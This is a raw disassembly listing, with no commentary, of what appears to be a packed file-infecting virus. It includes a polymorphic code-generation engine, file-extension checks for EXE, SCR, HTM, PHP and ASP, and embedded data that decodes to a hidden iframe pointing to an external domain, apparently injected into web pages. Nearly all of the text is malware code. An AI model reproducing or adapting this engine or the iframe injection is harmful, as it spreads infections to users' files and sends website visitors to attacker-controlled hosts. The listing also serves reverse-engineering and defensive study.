UPX2:0048CA35j mov al, 8 call near ptr dword_48B554+9Bh jmp short loc_48CA5A ; --------------------------------------------------------------------------- loc_48CA55: ; CODE XREF: UPX2:0048CA2Cj call near ptr loc_48C841+1 loc_48CA5A: ; CODE XREF: UPX2:0048CA4Aj ; UPX2:0048CA53j mov cl, [ebp+12356103h] cmp bl, 0 jz short loc_48CA80 or bh, bh jnz short loc_48CA76 loc_48CA69: ; CODE XREF: UPX2:0048CA7Cj add al, 90h mov word ptr [ebp+12353B7Ch], 0AA90h jmp short loc_48CA97 ; --------------------------------------------------------------------------- loc_48CA76: ; CODE XREF: UPX2:0048CA67j or al, al jnz short loc_48CA80 xchg al, bh jmp short loc_48CA69 ; --------------------------------------------------------------------------- jmp short loc_48CA97 ; --------------------------------------------------------------------------- loc_48CA80: ; CODE XREF: UPX2:0048CA63j ; UPX2:0048CA78j mov ah, bh shl ah, 3 add ah, al add ah, 0C0h mov al, 86h add al, bl mov word ptr [ebp+12353B7Ch], 0AB66h loc_48CA97: ; CODE XREF: UPX2:0048CA74j ; UPX2:0048CA7Ej jecxz short $+2 inc cl loc_48CA9B: ; CODE XREF: UPX2:0048CA9Dj stosw loop loc_48CA9B jmp loc_48CB7B ; --------------------------------------------------------------------------- loc_48CAA4: ; CODE XREF: UPX2:0048CA23j shl al, 1 add al, 8Ah add al, bl cmp al, 8Ch jnz short loc_48CAC4 inc al inc bl cmp byte ptr [ebp+12356103h], 0 jnz short loc_48CAC4 push eax call near ptr loc_48C841+1 mov bh, al pop eax loc_48CAC4: ; CODE XREF: UPX2:0048CAACj ; UPX2:0048CAB9j stosb cmp byte ptr [edi-1], 8Dh jnz short loc_48CB1D mov al, 6 cmp byte ptr [ebp+12356103h], 0 jnz short loc_48CB02 cmp dword ptr [ebp+123560D2h], 2 jbe short loc_48CB02 add al, 8 cmp dword ptr [ebp+123560D2h], 3 jbe short loc_48CB02 inc al cmp dword ptr [ebp+123560D2h], 5 jbe short loc_48CB02 add al, 8 cmp dword ptr [ebp+123560D2h], 6 jbe short loc_48CB02 inc al loc_48CB02: ; CODE XREF: UPX2:0048CAD4j ; UPX2:0048CADDj ... call near ptr dword_48B554+9Bh cmp al, 6 jnb short loc_48CB14 mov al, [eax+ebp+1235391Ch] jmp short loc_48CB26 ; --------------------------------------------------------------------------- loc_48CB14: ; CODE XREF: UPX2:0048CB09j mov al, [eax+ebp+1235396Bh] jmp short loc_48CB26 ; --------------------------------------------------------------------------- loc_48CB1D: ; CODE XREF: UPX2:0048CAC9j mov al, 8 call near ptr dword_48B554+9Bh add al, 0C0h loc_48CB26: ; CODE XREF: UPX2:0048CB12j ; UPX2:0048CB1Bj cmp byte ptr [ebp+12356103h], 0 jz short loc_48CB31 mov bh, al loc_48CB31: ; CODE XREF: UPX2:0048CB2Dj push eax shl bh, 3 add al, bh stosb pop ebx cmp al, 0C0h jnb short loc_48CB7B and al, 7 cmp al, 4 jnz short loc_48CB5B xor al, al inc ah call near ptr dword_48B554+9Bh stosb and al, 7 cmp al, 5 jnz short loc_48CB5B cmp bl, 40h jnb short loc_48CB5B or bl, 80h loc_48CB5B: ; CODE XREF: UPX2:0048CB41j ; UPX2:0048CB51j ... cmp bl, 40h jnb short loc_48CB65 cmp bl, 5 jnz short loc_48CB7B loc_48CB65: ; CODE XREF: UPX2:0048CB5Ej or eax, 0FFFFFFFFh call near ptr dword_48B554+9Bh cmp bl, 40h jb short loc_48CB7A cmp bl, 80h jnb short loc_48CB7A stosb jmp short loc_48CB7B ; --------------------------------------------------------------------------- loc_48CB7A: ; CODE XREF: UPX2:0048CB70j ; UPX2:0048CB75j stosd loc_48CB7B: ; CODE XREF: UPX2:0048CA00j ; UPX2:0048CA1Cj ... pop ebx retn ; --------------------------------------------------------------------------- loc_48CB7D: ; CODE XREF: UPX2:0048C9A1j cmp byte ptr [ebp+12356103h], 0 jnz short loc_48CB8A mov al, 0Bh jmp short loc_48CB9B ; --------------------------------------------------------------------------- loc_48CB8A: ; CODE XREF: UPX2:0048CB84j mov al, 9 or bl, bl jnz short loc_48CB9B cmp dword ptr [ebp+123560D2h], 4 jnb short loc_48CB9B mov al, 7 loc_48CB9B: ; CODE XREF: UPX2:0048CB88j ; UPX2:0048CB8Ej ... call near ptr dword_48B554+9Bh cmp al, 2 jb short loc_48CBAF cmp byte ptr [ebp+12356103h], 0 jz short loc_48CBAF add al, 2 loc_48CBAF: ; CODE XREF: UPX2:0048CBA2j ; UPX2:0048CBABj cmp al, 8 jbe short loc_48CBDD or bl, bl jnz short loc_48CBBE push eax mov al, 0FEh stosb pop eax add al, 10h loc_48CBBE: ; CODE XREF: UPX2:0048CBB5j dec al shl al, 3 add al, bh stosb cmp byte ptr [ebp+12356103h], 0 jz short loc_48CBDB or bl, bl jnz short loc_48CBD8 push eax mov al, 0FEh stosb pop eax loc_48CBD8: ; CODE XREF: UPX2:0048CBD1j xor al, 8 stosb loc_48CBDB: ; CODE XREF: UPX2:0048CBCDj jmp short loc_48CB7B ; --------------------------------------------------------------------------- loc_48CBDD: ; CODE XREF: UPX2:0048CBB1j mov [ebp+12356102h], al cmp dword ptr [ebp+123560D2h], 4 jnb short loc_48CC0D cmp byte ptr [ebp+12356103h], 0 jz short loc_48CC0D cmp al, 0 jz loc_48CCAD cmp al, 5 jz loc_48CCAD cmp al, 6 jz loc_48CCAD loc_48CC0D: ; CODE XREF: UPX2:0048CBEAj ; UPX2:0048CBF3j push eax mov al, 2 call sub_48B5F6 pop eax cmp dl, 1 jz loc_48CCAD cmp al, 8 jnz short loc_48CC27 mov al, 84h jmp short loc_48CC2A ; --------------------------------------------------------------------------- loc_48CC27: ; CODE XREF: UPX2:0048CC21j shl al, 3 loc_48CC2A: ; CODE XREF: UPX2:0048CC25j add al, bl stosb cmp byte ptr [ebp+12356103h], 0 jz short loc_48CC48 cmp byte ptr [ebp+12356102h], 1 jz short loc_48CC69 cmp byte ptr [ebp+12356102h], 4 jz short loc_48CC69 loc_48CC48: ; CODE XREF: UPX2:0048CC34j mov al, 8 call near ptr dword_48B554+9Bh cmp byte ptr [ebp+12356103h], 0 jz short loc_48CC6B cmp byte ptr [ebp+12356102h], 7 jnb short loc_48CC6B cmp al, bh jnz short loc_48CC67 xor al, 1 loc_48CC67: ; CODE XREF: UPX2:0048CC63j jmp short loc_48CC6B ; --------------------------------------------------------------------------- loc_48CC69: ; CODE XREF: UPX2:0048CC3Dj ; UPX2:0048CC46j mov al, bh loc_48CC6B: ; CODE XREF: UPX2:0048CC56j ; UPX2:0048CC5Fj ... shl al, 3 add al, 0C0h add al, bh stosb cmp byte ptr [ebp+12356103h], 0 jz short loc_48CCA8 cmp byte ptr [ebp+12356102h], 0 jz short loc_48CC97 cmp byte ptr [ebp+12356102h], 5 jz short loc_48CC97 cmp byte ptr [ebp+12356102h], 6 jnz short loc_48CCA8 loc_48CC97: ; CODE XREF: UPX2:0048CC83j ; UPX2:0048CC8Cj mov ax, [edi-2] cmp byte ptr [ebp+12356102h], 6 jz short loc_48CCA6 xor al, 28h loc_48CCA6: ; CODE XREF: UPX2:0048CCA2j stosw loc_48CCA8: ; CODE XREF: UPX2:0048CC7Aj ; UPX2:0048CC95j jmp loc_48CB7B ; --------------------------------------------------------------------------- loc_48CCAD: ; CODE XREF: UPX2:0048CBF7j ; UPX2:0048CBFFj ... shl byte ptr [ebp+12356102h], 3 loc_48CCB4: ; CODE XREF: UPX2:0048CD20j or eax, 0FFFFFFFFh cmp byte ptr [ebp+12356103h], 0 jz short loc_48CCC9 cmp byte ptr [ebp+12356102h], 38h jb short loc_48CCD0 loc_48CCC9: ; CODE XREF: UPX2:0048CCBEj call near ptr dword_48B554+9Bh jmp short loc_48CCDB ; --------------------------------------------------------------------------- loc_48CCD0: ; CODE XREF: UPX2:0048CCC7j cmp byte ptr [ebp+12356102h], 20h jz short loc_48CCDB sub eax, eax loc_48CCDB: ; CODE XREF: UPX2:0048CCCEj ; UPX2:0048CCD7j mov [ebp+123560FEh], eax sub edx, edx test bh, bh setnz dl sub eax, eax inc dl or bl, bl jnz short loc_48CCF4 inc dl jmp short loc_48CCF7 ; --------------------------------------------------------------------------- loc_48CCF4: ; CODE XREF: UPX2:0048CCEEj add dl, 4 loc_48CCF7: ; CODE XREF: UPX2:0048CCF2j cmp [ebp+123560D2h], edx jnb short loc_48CD22 cmp byte ptr [ebp+12356102h], 10h jz short loc_48CD11 cmp byte ptr [ebp+12356102h], 18h jnz short loc_48CD17 loc_48CD11: ; CODE XREF: UPX2:0048CD06j pop ebx jmp loc_48C8C9 ; --------------------------------------------------------------------------- loc_48CD17: ; CODE XREF: UPX2:0048CD0Fj xor ebx, ebx mov byte ptr [ebp+12356103h], 1 jmp short loc_48CCB4 ; --------------------------------------------------------------------------- loc_48CD22: ; CODE XREF: UPX2:0048CCFDj cmp bl, 0 jz short loc_48CD61 cmp byte ptr [ebp+12356102h], 40h jz short loc_48CD61 cmp dword ptr [ebp+123560FEh], 100h jb short loc_48CD47 mov al, 2 call near ptr dword_48B554+9Bh cmp al, 1 jz short loc_48CD61 loc_48CD47: ; CODE XREF: UPX2:0048CD3Aj mov al, 83h stosb mov al, 0C0h add al, [ebp+12356102h] add al, bh stosb mov al, [ebp+123560FEh] stosb jmp loc_48CB7B ; --------------------------------------------------------------------------- loc_48CD61: ; CODE XREF: UPX2:0048CD25j ; UPX2:0048CD2Ej ... or bh, bh jnz short loc_48CD7C cmp byte ptr [ebp+12356102h], 40h jz short loc_48CD78 mov al, 4 add al, [ebp+12356102h] jmp short loc_48CD91 ; --------------------------------------------------------------------------- loc_48CD78: ; CODE XREF: UPX2:0048CD6Cj mov al, 0A8h jmp short loc_48CD91 ; --------------------------------------------------------------------------- loc_48CD7C: ; CODE XREF: UPX2:0048CD63j cmp byte ptr [ebp+12356102h], 40h jz short loc_48CD8F mov al, 80h add bh, [ebp+12356102h] jmp short loc_48CD91 ; --------------------------------------------------------------------------- loc_48CD8F: ; CODE XREF: UPX2:0048CD83j mov al, 0F6h loc_48CD91: ; CODE XREF: UPX2:0048CD76j ; UPX2:0048CD7Aj ... add al, bl stosb or bh, bh jz short loc_48CD9D mov al, 0C0h add al, bh stosb loc_48CD9D: ; CODE XREF: UPX2:0048CD96j mov eax, [ebp+123560FEh] or bl, bl jnz short loc_48CDAA stosb jmp short loc_48CDAB ; --------------------------------------------------------------------------- loc_48CDAA: ; CODE XREF: UPX2:0048CDA5j stosd loc_48CDAB: ; CODE XREF: UPX2:0048CDA8j jmp loc_48CB7B ; --------------------------------------------------------------------------- dd 110039h, 24448B59h, 0B888890Ch, 33000000h, 3231C3C0h dd 2E302E37h, 20312E30h, 632E4C6Ah, 61727568h, 0D6C702Eh dd 693C230Ah, 6D617266h, 72732065h, 68223D63h, 3A707474h dd 4C6A2F2Fh, 2326632Eh, 3B343031h, 2E617275h, 722F6C70h dd 20222F63h, 6C797473h, 26223D65h, 30303123h, 7073693Bh dd 3A79616Ch, 656E6F6Eh, 2F3C3E22h, 61726669h, 0D3E656Dh dd 8BFE8B0Ah, 35606E8Dh, 834CB012h, 0AEF204E9h, 3F810975h dd 7568632Eh, 8BC3F475h, 6E8D8BFEh, 83123560h, 3CB005E9h dd 0EE75AEF2h, 752F3F80h, 1478BF5h, 0DFDFDF25h, 4F423DDFh dd 0E6755944h, 0E8FE2B4Fh, 0D51h, 4F68h, 2DE85B00h, 75FFFFF8h dd 0F6FCE80Ch, 21E8FFFFh, 74FFFFF8h, 6E8D8B20h, 8D123560h dd 0CF2B0134h, 333C8D4Eh, 87A4F3FDh, 17E8DD9h, 3EBBB58Dh dd 0F3FC1235h, 0BD80C3A4h, 12356104h, 661374FFh, 7500953Dh dd 6858B0Dh, 2B123561h, 3560CE85h, 0D233C312h, 0D5843B66h dd 12351733h, 0F513273h, 0B70FC8B7h, 1737D584h, 853B1235h dd 12351EB3h, 872D08Bh, 0EA811674h, 499Ch, 7395A30Fh, 7212351Dh dd 6784903h, 0F0EB4240h, 0C359C103h, 0D5842B66h, 12351733h dd 953AC2FEh, 12351732h, 8503B275h, 12351EAFh, 0EBCF8BC3h dd 4EBD8D0Bh, 0FC12355Eh, 0C933DF8Bh, 72613CACh, 777A3C06h dd 0AA202C02h, 0EC745C3Ch, 0DD742E3Ch, 0E875003Ch, 18B4DE3h dd 5E4D85C6h, 3D001235h, 455845h, 533D4274h, 74005243h dd 9185F73Bh, 812353Eh, 0F000000h, 0FFFF3C84h, 0FFFF25FFh dd 483D00FFh, 74004D54h, 48503D12h, 0B740050h, 5053413Dh dd 1E850F00h, 0FEFFFFFFh, 355E4D85h, 0E923EB12h, 0FFFFF8A2h dd 573D038Bh, 74434E49h, 43573DF2h, 0EB744E55h, 3343573Dh dd 3DE47432h, 4F545350h, 0A583DD74h, 1235605Ah, 0A5836600h dd 123560FAh, 0EC85C600h, 123561h, 16E8D233h, 0E8000000h dd 0FFFFFDDCh, 0E8h, 0ED815D00h, 123540BEh, 0BCFE9h, 32FF6400h dd 0FF228964h, 3522D095h, 0AA858912h, 33123560h, 0F6A6E8DBh dd 840FFFFFh, 0BB0h, 6076B58Bh, 0BD801235h, 12355E4Dh dd 0E80A7501h, 0FFFFFE0Dh, 0B97E9h, 3E816600h, 850F5A4Dh dd 0B8Ch, 813C5E8Bh, 0FFFFFBh, 7D870F00h, 300000Bh, 3B8166DEh dd 850F4550h, 0B70h, 1643F7h, 0F000020h, 0B6385h, 5C43F600h dd 59840F02h, 8B00000Bh, 354BB385h, 24463912h, 0B33840Fh dd 7EE80000h, 0FFFFFF7h, 0B3F82h, 8428B00h, 7310422Bh dd 89C03302h, 35607E85h, 0AF85C712h, 5E12351Eh, 0E8000053h dd 0FFFFF726h, 0B24E8h, 7A9D8B00h, 3123560h, 35607E9Dh dd 0F5FAE812h, 1075FFFFh, 0FFF4C9E8h, 0F5EEE8FFh, 840FFFFFh dd 0AF8h, 41C885C6h, 83031235h, 351EB7A5h, 85C60012h, 12351732h dd 0B58D01h, 8D123510h, 351733BDh, 67836612h, 36A0002h dd 27836658h, 47C76600h, 0E8800006h, 0FFFFE4FEh, 51034A8Dh dd 10BA858Dh, 8D8D1235h, 123510BFh, 11EB958Dh, 0F03B1235h dd 5680875h, 59000000h, 0F13B37EBh, 26A0575h, 3B2EEB59h dd 6A0975F2h, 747C605h, 21EB5900h, 0E93C068Ah, 0EB3C0C74h dd 0C23C0874h, 0C33C0474h, 47C60675h, 4EB8007h, 747C6h dd 132AE8h, 0F016600h, 11F0858Dh, 0F1031235h, 7359F03Bh dd 0FE98E22Fh, 35173285h, 32BD8012h, 0C7123517h, 8B661377h dd 3660247h, 8C78307h, 2478966h, 0FFFF61E9h, 0C885FEFFh dd 0E9123541h, 0FFFFFF37h, 6608C783h, 499C07C7h, 247C766h dd 0C76601F0h, 0C99C0647h, 173285FEh, 0B58B1235h, 12356076h dd 33C5E8Bh, 0F637E8DEh, 820FFFFFh, 9F8h, 4A81FE8Bh, 24h dd 246281E0h, 0FDFFFFFFh, 607E858Bh, 4A8B1235h, 147A030Ch dd 52104201h, 8310428Bh, 3560B2A5h, 0A5830012h, 123560B6h dd 0BAA58300h, 123560h, 60BEA583h, 83001235h, 3560C2A5h dd 0A5830012h, 123560C6h, 0CAA58300h, 123560h, 0F803C803h dd 73084239h, 8428903h, 832873FFh, 351EB38Dh, 8D89FF12h dd 123560E2h, 60CEBD89h, 85C71235h, 123560D2h, 3E6h, 60F2858Fh dd 85C61235h, 12356104h, 9185F7FFh, 112353Eh, 0F000000h dd 1A884h, 1C7E8300h, 9E850F00h, 83000001h, 0F00207Eh dd 19485h, 247E8300h, 8A850F00h, 8B000001h, 8093h, 0B0E85200h dd 3FFFFF2h, 3560DA95h, 76950312h, 8B123560h, 3560D6BDh dd 0C7A8312h, 5C840F00h, 83000001h, 0F00107Ah, 15284h dd 0C428B00h, 60DA8503h, 85031235h, 12356076h, 0DE85052h dd 4B000000h, 454E5245h, 2E32334Ch, 4C4C44h, 227895FFh dd 0C0851235h, 8305745Ah, 0B9EB14C2h, 107A8B57h, 3FFC983h dd 3560DABDh, 3C03312h, 356076BDh, 0E6BD8912h, 0F2123560h dd 4EF83AFh, 60EABD89h, 8B5F1235h, 0E8562873h, 0FFFFF227h dd 60D6958Bh, 4A8B1235h, 0C4A0308h, 0E983CE2Bh, 0D8880F06h dd 0F000000h, 0D284h, 0DAB50300h, 3123560h, 356076B5h dd 0DAB5FF12h, 0AC123560h, 3F75E83Ch, 2B04468Dh, 35607685h dd 0DA852B12h, 3123560h, 0DCE85006h, 83FFFFF1h, 3560D6BDh dd 7750012h, 730C473Bh, 306EB28h, 3560DA85h, 76850312h dd 66123560h, 25FF3881h, 408B1375h, 3C28EB02h, 800A75FFh dd 575153Eh, 0EB01468Bh, 0DA858F1Ah, 0FF123560h, 3560F285h dd 99754912h, 8F2873FFh, 3560F285h, 8954EB12h, 3560F685h dd 34432B12h, 0F17DE850h, 0BD39FFFFh, 123560D6h, 8503CF75h dd 123560DAh, 60768503h, 853B1235h, 123560E6h, 853BBB72h dd 123560EAh, 858FB373h, 123560DAh, 610485FEh, 4A811235h dd 6024h, 58026AE0h, 0FFE1FDE8h, 59588FFh, 8B123561h, 3560CEBDh dd 8DB60F12h, 12351732h, 0E3E8C18Bh, 33FFFFE1h, 85A30FC0h dd 123560B2h, 0CAFE0472h, 0C0FE0478h, 0D78BEFEBh, 0B285AB0Fh dd 2B123560h, 3560CE95h, 89665112h, 1737C594h, 0B70F1235h dd 1735C5B4h, 0B70F1235h, 1733C58Ch, 0FE811235h, 1F0h dd 35B48Dh, 75123510h, 2E9C11Bh, 1EB39589h, 0A5F31235h dd 0FC6783h, 0C6FCA783h, 0E900FFFFh, 1C0h, 840FC985h, 1B8h dd 5B05051h, 0FFE16DE8h, 2FA80FFh, 158830Fh, 0C68B0000h dd 0BA3DC52Bh, 75123510h, 5680Bh, 0E9590000h, 131h, 3510BF3Dh dd 6A087512h, 22E95902h, 3D000001h, 123511EBh, 56A0875h dd 113E959h, 0BD800000h, 12356104h, 3D7874FFh, 12351017h dd 1A3D7172h, 73123510h, 68D78B6Ah, 3, 1EBBBD8Dh, 8A591235h dd 8BA4F306h, 35B0AAFAh, 60CE952Bh, 68AA1235h, 3, 60F6858Bh dd 953B1235h, 12351EB3h, 0EA810676h, 499Ch, 9589AB59h dd 12351EB7h, 7395B30Fh, 4212351Dh, 48BF6E2h, 84816624h dd 351739C5h, 81000312h, 304246Ch, 0B1000000h, 0BAE903h dd 92E90000h, 3D000000h, 12351095h, 82850Fh, 0BD800000h dd 12356104h, 80797200h, 356104BDh, 70730212h, 6104BD80h dd 75001235h, 6BD8906h, 0F123561h, 610585B6h, 76A1235h dd 5903C06Bh, 60F2958Bh, 0BD801235h, 12356104h, 83057501h dd 0D02B04C2h, 0C6B0C803h, 61058502h, 0B0AA1235h, 0C28BAA05h dd 0AB344303h, 60DA9503h, 95031235h dd 12356076h, 0BD80028Bh, 12356105h, 0AA037500h, 0FEAB01EBh dd 35610485h, 5B58012h, 1123561h, 5EB2AEBh, 0EA2E8h, 985C600h dd 0B3123547h, 244C2951h, 59A4F308h, 0F75719EBh, 0AFE8241Ch dd 59FFFFF2h, 8D29CF03h, 123560D2h, 470985C6h, 8BAB1235h dd 1662404h, 1739C58Ch, 578D1235h, 2B1EE3FFh, 3560CE95h dd 0B3953B12h, 7612351Eh, 9CEA8106h, 0F000049h, 1D7395B3h dd 0E24A1235h, 0E95958F6h, 0FFFFFE40h, 0C584F659h, 1235173Ah dd 0B00D7580h, 0C883AAEBh, 0DFA8E8FFh, 0AB92FFFFh, 850FC9FEh dd 0FFFFFDB4h, 952BD78Bh, 123560CEh, 1EAF9589h, 0B70F1235h dd 1EC22984h, 37E81235h, 50FFFFF8h, 2984B70Fh, 12351EC0h dd 0F828E848h, 2940FFFFh, 0B70F2404h, 1EBE2984h, 17E81235h dd 3FFFFF8h, 3560CE85h, 83008F12h, 0F98106C1h, 0D2h, 0BD8BC072h dd 123560CEh, 1733B58Dh, 0BD031235h, 12351EB3h, 78B68h dd 43C78100h, 59000005h, 0C933A4F3h, 3ACD84F6h, 80123517h dd 0B70F4375h, 1739CD94h, 0B70F1235h, 1737CD84h, 0E2811235h dd 7FFFh, 202448Dh, 0CD94B70Fh, 1235173Fh, 8503D02Bh, 123560CEh dd 7C80FA83h, 7FFA830Ah, 5088057Fh, 830AEBFFh, 40C603EAh dd 5089E9FEh, 3AC1FEFFh, 3517328Dh, 0B8A97212h, 0FFFFh dd 0FFDECDE8h, 0B85242FFh, 0BFh, 0FFF775E8h, 0CE8503FFh dd 5A123560h, 0F108966h, 17378DB7h, 858B1235h, 12351EB3h dd 60E28D03h, 85031235h, 123560CEh, 610A8D89h, 98B91235h dd 49h, 40303010h, 4FE8F9E2h, 0FEFFFFF0h, 3561EC85h, 7EA58012h dd 12354Ch, 3E9185F7h, 21235h, 840F0000h, 338h, 0E82873FFh dd 0FFFFEDA3h, 60D6958Bh, 428B1235h, 8422B10h, 31E820Fh dd 0F8830000h, 15820F40h, 89000003h, 3560D285h, 0DAB5FF12h dd 52123560h, 30C428Bh, 50481042h, 0FFED6EE8h, 858F5AFFh dd 123560DAh, 60D69539h, 13741235h, 60D6BD83h, 0F001235h dd 2DF85h, 0D6958900h, 68123560h, 0FFh, 0DE00E858h, 8842FFFFh dd 354C7E95h, 58036A12h, 0FFDDF1E8h, 0EA9588FFh, 83123561h dd 3560D2ADh, 0C9333212h, 610EBD8Dh, 85C61235h, 123561EBh dd 30C16B00h, 60D2B5FFh, 0F8031235h, 26243C83h, 85C70A76h dd 123560D2h, 26h, 0E858036Ah, 0FFFFDDB2h, 5D74D20Ah, 2F98051h dd 0F9801C72h, 80097502h, 3561EBBDh, 0E740012h, 7503F980h dd 0EBBD8010h, 1123561h, 87680775h, 0EB000000h, 0F076A02h dd 61EA85B6h, 0F9801235h, 9755903h, 61EBBD80h, 75001235h dd 0C1B30F03h, 0F037E857h, 2B5AFFFFh, 245401D7h, 0D2950104h dd 59123560h, 0A3E9h, 0EBBD8000h, 1123561h, 0C16B2975h dd 28848D30h, 1235610Eh, 60D2858Fh, 0D8F71235h, 8488C703h dd 3561CE29h, 0F9804112h, 41850F04h, 0EBFFFFFFh, 0A71EB78h dd 0B01375C9h, 0EA8502B8h, 0AA123561h, 1EAF858Bh, 0AB481235h dd 0F98054EBh, 0B0327501h, 85F7AA80h, 12353E91h, 4, 8DC0950Fh dd 0E0C08004h, 0EA850203h, 4123561h, 858BAA80h, 123560E2h dd 0AB344303h, 4C7E858Ah, 0EBAA1235h, 2F9801Dh, 48B00B75h dd 61EA8502h, 0EBAA1235h, 0AA0FB00Dh, 89AA89B0h, 3561E2BDh dd 85FEAB12h, 123561EBh, 0FFFEEFE9h, 0D6958BFFh, 8B123560h dd 7A030C7Ah, 1072FF08h, 8308428Fh, 3561E6A5h, 0BD030012h dd 123560DAh, 6076BD03h, 958B1235h, 123561E6h, 0C033C933h dd 0E68DA30Fh, 72123561h, 80414001h, 0F07504F9h, 0FFDC65E8h dd 0FC933FFh, 61E68DA3h, 3721235h, 4103784Ah, 0AB0FF1EBh dd 3561E68Dh, 8DBC8912h, 123561D2h, 5130C16Bh, 0E28B48Dh dd 0F123561h, 0CE298CB6h, 0F3123561h, 0AAE9B0A4h, 0D2858BABh dd 0C1123560h, 1FE802E8h, 8BFFFFDCh, 0B819E3CAh, 13Ch dd 0FFDC0AE8h, 3CF883FFh, 0E8830572h, 2B02EB3Ch, 0E7E2AAC0h dd 2984FE59h, 123561CEh, 61E6BD83h, 0F0F1235h, 0FFFF6985h dd 80C933FFh, 147503F9h, 610A858Bh, 85031235h, 123560DAh dd 60768503h, 7EB1235h, 0D68D848Bh, 0F123561h, 0CE29BCB6h dd 3123561h, 61D28DBCh, 0C72B1235h, 80F88348h, 0F8830C7Ch dd 0C6077F7Fh, 0AAEBFF47h, 0E88304EBh, 8041AB03h, 0B37504F9h dd 61D6858Bh, 958D1235h, 1235619Eh, 61DE8D8Bh, 0BD8B1235h dd 123561E2h, 0F903FA2Bh, 0F883C72Bh, 832D7C80h, 287F7FF8h dd 79FE47C6h, 0C7FF4788h, 3560D285h, 412h, 57C92B00h, 2EE887B1h dd 59FFFFEEh, 8D01CF2Bh, 123560D2h, 4EBEB75h, 0AB04E883h dd 61D2858Bh, 852B1235h, 123560DAh, 6076852Bh, 85891235h dd 1235610Ah, 7A8D8B5Ah, 8B123560h, 356076B5h, 3ACE6812h dd 468FC37Ah, 104A0124h, 586383h, 6082858Bh, 42011235h dd 0C4A8B08h, 39504301h, 888Bh, 0FF097500h, 838F0872h dd 8Ch, 0A0A383h, 8B000000h, 3560F285h, 0A4A38312h, 0 dd 66344303h, 3F5E6381h, 50D8F7FEh, 0F68h, 7FE85800h, 3FFFFF3h dd 3560CE85h, 0A958B12h, 8F123561h, 4BD8000h, 0FF123561h dd 53890575h, 8B1FEB28h, 356076BDh, 0F2BD0312h, 3123560h dd 3560DABDh, 0AAE9B012h, 2BFB428Dh, 3560F285h, 0BD80AB12h dd 12354C7Eh, 8B327400h, 3560CEBDh, 0AF8D8B12h, 0F712351Eh dd 353E9185h, 412h, 397C8D00h, 800974FFh, 354C7DA5h, 7EBD712h dd 4C7D8D80h, 80281235h, 0E24F0007h, 4E858DFAh, 8D12355Eh dd 355F5295h, 0C6525012h, 95FF0002h, 12352270h, 8B64D233h dd 28F6422h, 5ABD8358h, 123560h, 9D840Fh, 0B5FF0000h, 12356076h dd 231895FFh db 35h, 12h ; --------------------------------------------------------------------------- loc_48DBDA: ; CODE XREF: UPX2:0048C7B1j push dword ptr [ebp+12356072h] call dword ptr [ebp+12352288h] cmp byte ptr [ebp+123560FBh], 0 jz short loc_48DC0B lea ecx, [ebp+1235605Eh] lea edx, [ebp+12356066h] push ecx push edx push 0 push dword ptr [ebp+1235605Ah] call dword ptr [ebp+1235230Ch] loc_48DC0B: ; CODE XREF: UPX2:0048C747j ; UPX2:0048C77Cj ... cmp byte ptr [ebp+123561ECh], 0 jz short loc_48DC43 mov eax, [ebp+1235606Eh] push 0 add eax, [ebp+1235607Ah] add eax, [ebp+1235607Eh] push 0 push eax push dword ptr [ebp+1235605Ah] call dword ptr [ebp+12352308h] push dword ptr [ebp+1235605Ah] call dword ptr [ebp+12352300h] loc_48DC43: ; CODE XREF: UPX2:0048DC12j push dword ptr [ebp+1235605Ah] call dword ptr [ebp+12352288h] loc_48DC4F: ; CODE XREF: UPX2:0048C705j cmp byte ptr [ebp+123560FAh], 0 jz short loc_48DC6B lea esi, [ebp+12355E4Eh] push dword ptr [ebp+12356056h] push esi call dword ptr [ebp+12352304h] loc_48DC6B: ; CODE XREF: UPX2:0048DC56j and word ptr [ebp+123560FAh], 0 and dword ptr [ebp+1235605Ah], 0 retn ; --------------------------------------------------------------------------- align 4 dd 3 dup(1), 1000001h, 40000000h, 3 dup(0) dd 3 dup(1), 1000001h, 40000000h, 0 dd 10000000h, 0 dd 3 dup(1), 1000001h, 40000000h, 3 dup(0) dd 3 dup(1), 1000001h, 40000000h, 3 dup(0) dd 3 dup(1), 1000001h, 40000000h, 2000000h, 2 dup(0) dd 3 dup(1), 1000001h, 40000000h, 2000000h, 2 dup(0) dd 3 dup(1), 1000001h, 40000000h, 2000000h, 2 dup(0) dd 3 dup(1), 1000001h, 40000000h, 2000000h, 24h dup(0) dd 1, 2000001h, 2000000h, 6000000h, 0A000000h, 2 dup(40000000h) dd 1000001h, 1000000h, 1, 3 dup(0) dd 11h dup(1000000h), 40000001h, 2 dup(1000001h), 0Dh dup(1) dd 0Ah dup(0) dd 40h, 4 dup(0) dd 4 dup(80000000h), 4 dup(0) dd 1000000h, 40000000h, 6 dup(0) dd 8 dup(1000000h), 8 dup(40000000h), 1000000h, 1000001h dd 20000001h, 2 dup(400h), 1, 1000001h, 40000001h, 21000001h dd 0 dd 20000000h, 2 dup(400h), 1000000h, 2 dup(0) dd 400h, 3 dup(1), 1000001h, 1000000h, 3 dup(0) dd 7 dup(1), 1000001h, 7 dup(1000000h), 2 dup(40000000h) dd 0 dd 1000020h, 4 dup(0) dd 2000000h, 0 dd 2 dup(2000000h), 3 dup(0) dd 80h, 100h, 6 dup(0) dd 1, 200h, 4 dup(1), 9 dup(0) dd 1, 0 dd 1000h, 9 dup(1), 6 dup(0) dd 5 dup(1000000h), 0 dd 1000000h, 2 dup(0) dd 8 dup(1), 6 dup(0) dd 2 dup(1), 8 dup(0) dd 2Fh dup(1), 4 dup(1000001h), 4 dup(1), 0 dd 7 dup(1), 40000001h, 0Fh dup(40000000h), 0 dd 10h dup(1), 3 dup(0) dd 1000001h, 4 dup(1), 3 dup(0) dd 1000001h, 2 dup(1), 800h, 9 dup(1), 0 dd 1000000h, 7 dup(1), 1000001h, 1, 3 dup(1000001h), 2 dup(1) dd 8 dup(0) dd 2Fh dup(1), 56000000h, 85C6C933h, 123560FCh, 0FD85C601h dd 1123560h, 8BACC033h, 4D5C8584h, 10A91235h, 74000000h dd 0C033410Bh, 85848BACh, 1235515Ch, 100000A9h, 41067400h dd 1000Dh, 4A900h, 7740000h, 60FCB580h, 0A9011235h, 8 dd 0B5800774h, 123560FDh, 2A901h, 3740000h, 0A9B1EB41h dd 21h, 0A9410174h, 20h, 0A9410174h, 6000h, 0BD801174h dd 123560FCh, 83057500h, 3EB04C1h, 0A906C183h, 80h, 0BD800F74h dd 123560FDh, 83037501h, 0C18302C1h, 40A902h, 0F740000h dd 60FCBD80h, 75011235h, 2C18303h, 0A902C183h, 80000h dd 0AC501974h, 874F83Ch, 474E83Ch, 375703Ch, 8107EB41h dd 100240Ch, 0A9580000h, 8000h, 168A1B74h, 7538E280h, 101B80Ah 